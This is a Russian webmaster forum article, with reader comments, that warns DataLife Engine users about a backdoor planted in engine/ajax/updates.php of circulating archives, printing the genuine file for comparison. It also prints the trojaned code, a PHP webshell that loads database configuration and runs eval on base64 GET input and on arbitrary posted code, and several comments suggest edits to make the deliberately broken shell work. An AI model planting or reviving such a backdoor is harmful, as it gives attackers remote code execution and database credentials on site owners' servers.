Мы в твиттере Мы в телеграме!

Провеббер » DataLife Engine » Как избежать шелла !

Набор в команду! Ведется набор в команду, для наполнения сайта новым, интересным контентом. Если у тебя есть предложения, свободное время, ты обладаешь интересным контентом, и хочешь поделиться с другими?
Обращайся к нам в ЛС группы Вконтакте.

Как избежать шелла !

Данный материал предоставлен сайтом ProWebber.cc исключительно в ознакомительных целях. Администрация не несет ответственности за его содержимое.
Скачать бесплатно Как избежать шелла !.

Как избежать шелла !


Иногда, когда мы ставим движок DLE, у нас у файлах оказываются дыры. Всё это из-за пошлостей кого-то.
По этому я хочу что бы пользователи prowebber.cc чувствовали себя нормально, и всегда проверяли файлы.

Нашел я эту новость на одном сайте !

Если вы скачали архив Datalife Engine, проверьте файл engine/ajax/updates.php

Оригинал должен быть такой:
<?php
/*
=====================================================
DataLife Engine - by SoftNews Media Group
-----------------------------------------------------
http://dle-news.ru/
-----------------------------------------------------
Copyright (c) 2004,2009 SoftNews Media Group
=====================================================
Данный код защищен авторскими правами
=====================================================
Файл: updates.php
-----------------------------------------------------
Назначение: Проверка на наличие новых версий
=====================================================
*/

@error_reporting(7);
@ini_set('display_errors', true);
@ini_set('html_errors', false);

define('DATALIFEENGINE', true);
define('ROOT_DIR', '../..');
define('ENGINE_DIR', '..');

include ENGINE_DIR.'/data/config.php';

if ($config['http_home_url'] == "") {

    $config['http_home_url'] = explode("engine/ajax/updates.php", $_SERVER['PHP_SELF']);
    $config['http_home_url'] = reset($config['http_home_url']);
    $config['http_home_url'] = "http://".$_SERVER['HTTP_HOST'].$config['http_home_url'];

}

require_once ENGINE_DIR.'/inc/include/functions.inc.php';


$selected_language = $config['langs'];

if (isset( $_COOKIE['selected_language'] )) {

    $_COOKIE['selected_language'] = totranslit( $_COOKIE['selected_language'], false, false );

    if (@is_dir ( ROOT_DIR . '/language/' . $_COOKIE['selected_language'] )) {
        $selected_language = $_COOKIE['selected_language'];
    }

}

require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';

$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];

@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);

$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);

if (!strlen($data)) echo $lang['no_update']; else echo $data;
?>


Пример шелла:
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require(file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require(file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require(file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));
}}


Дополнительные ссылки на скачивание ТОЛЬКО для зарегистрированных


+1
Просмотры: 15 813 :: Комментарии (16) :: :: Нужна помощь? Задайте вопрос на форуме ::
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

#1Bagner

  • 7 февраля 2010 00:31
  • Регистрация: 27.11.2009
  • Был(а) онлайн: 16.07.2013
  • Комментариев: 308
  • -1
Помог !? С Вас плюсик.

P.S. - Шеллом не думайте даже пользоваться. Скажу сразу, я кое что испортил в шелле, что бы он не работал !!!

--------------------

#2chak

  • 7 февраля 2010 00:41
  • Регистрация: 3.01.2010
  • Был(а) онлайн: 2.10.2019
  • Комментариев: 446
  • -1
Ну, это я знал, но + поставлю снова:) Благое дело делаешь! Правда меня удивляет что ночью:) Но правильно! Нечего ставить на показ свои достоинства:)

Кстати, должен сказать, что ГК может встретиться не только в engine/ajax/updates.php. Почему именно в engine/ajax/updates.php кидают шелл? Ответ прост - сюда никто не залазит :DD Просто нету необходимости:)

#3Pheox

  • 7 февраля 2010 00:54
  • Регистрация: 13.07.2009
  • Был(а) онлайн: 12.07.2012
  • Комментариев: 172
  • -1
Проверил у себя вроде как бэ все нормально crazy

#4Qube

  • 7 февраля 2010 06:35
  • Регистрация: 22.12.2009
  • Был(а) онлайн: 21.01.2014
  • Комментариев: 119
  • -1
Хорошо придумано, уменя кокрас была такая проблема.

#5kzpromo

  • 7 февраля 2010 07:16
  • Регистрация: 11.09.2009
  • Был(а) онлайн: 10.12.2023
  • Комментариев: 90
  • -1
если подобный код нашли лучше сразу удалить весь движок))) эта не одна такая страница)))

#6Alexander.S

  • 7 февраля 2010 08:08
  • Регистрация: 27.11.2009
  • Был(а) онлайн: 21.08.2023
  • Комментариев: 120
  • -1
Слава богу всё чисто

#7ТорЧок

  • 7 февраля 2010 08:15
  • Регистрация: 5.01.2010
  • Был(а) онлайн: 5.04.2011
  • Комментариев: 247
  • -1
crazy столетний баян от Злова. D

--------------------

#8softbibl

  • 7 февраля 2010 10:45
  • Регистрация: 7.02.2010
  • Был(а) онлайн: 11.02.2010
  • Комментариев: 12
  • -1
Проверил. Ничего нет

#9Dimon4ick

  • 8 февраля 2010 02:42
  • Регистрация: 31.01.2010
  • Был(а) онлайн: 13.09.2022
  • Комментариев: 82
  • -1
Нормальок! Все чисто

#10Serega12689

  • 8 февраля 2010 03:42
  • Регистрация: 8.11.2009
  • Был(а) онлайн: 4.06.2010
  • Комментариев: 40
  • -1
А есть какие либо скрипты или программы для поиска шеллов?!

#11valeha

  • 8 февраля 2010 09:36
  • Регистрация: 9.11.2009
  • Был(а) онлайн: 13.05.2017
  • Комментариев: 126
  • -1
спасибо, у меня тоже все чисто)

--------------------

#12alextrish

  • 10 февраля 2010 16:22
  • Регистрация: 12.12.2009
  • Был(а) онлайн: 25.03.2020
  • Комментариев: 25
  • -1
В скриптах не понимаю, а этот пример полезный!

--------------------

#13Joey

  • 30 марта 2011 22:13
  • Регистрация: 5.01.2010
  • Был(а) онлайн: 31.03.2020
  • Комментариев: 266
  • -1
@require(file)
исправить на
@require($file)

#14beda2008

  • 5 июля 2012 03:22
  • Регистрация: 22.04.2010
  • Был(а) онлайн: 5.05.2018
  • Комментариев: 23
  • -1
Joey, и что? шел заработает??

#15mododrom

  • 15 февраля 2013 20:03
  • Регистрация: 14.02.2013
  • Был(а) онлайн: 21.03.2013
  • Комментариев: 11
  • -1
нормально))) спасибо, статья полезна+

#16Fen9

  • 23 октября 2013 13:26
  • Регистрация: 21.05.2010
  • Был(а) онлайн: 9.04.2022
  • Комментариев: 31
  • -1
beda2008,
Нет, он дал частичный ответ для того чтобы шелл работал, еще нужно поправить:

if (!strlen($data)) echo $lang['no_update']; else echo $data;
Заменить на:
if (!strlen($_data)) echo $_lang['noupdate']; else echo $_data;

Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Архив новостей
Ноябрь 2024 (9)
Октябрь 2024 (169)
Сентябрь 2024 (13)
Август 2024 (60)
Июль 2024 (12)
Июнь 2024 (30)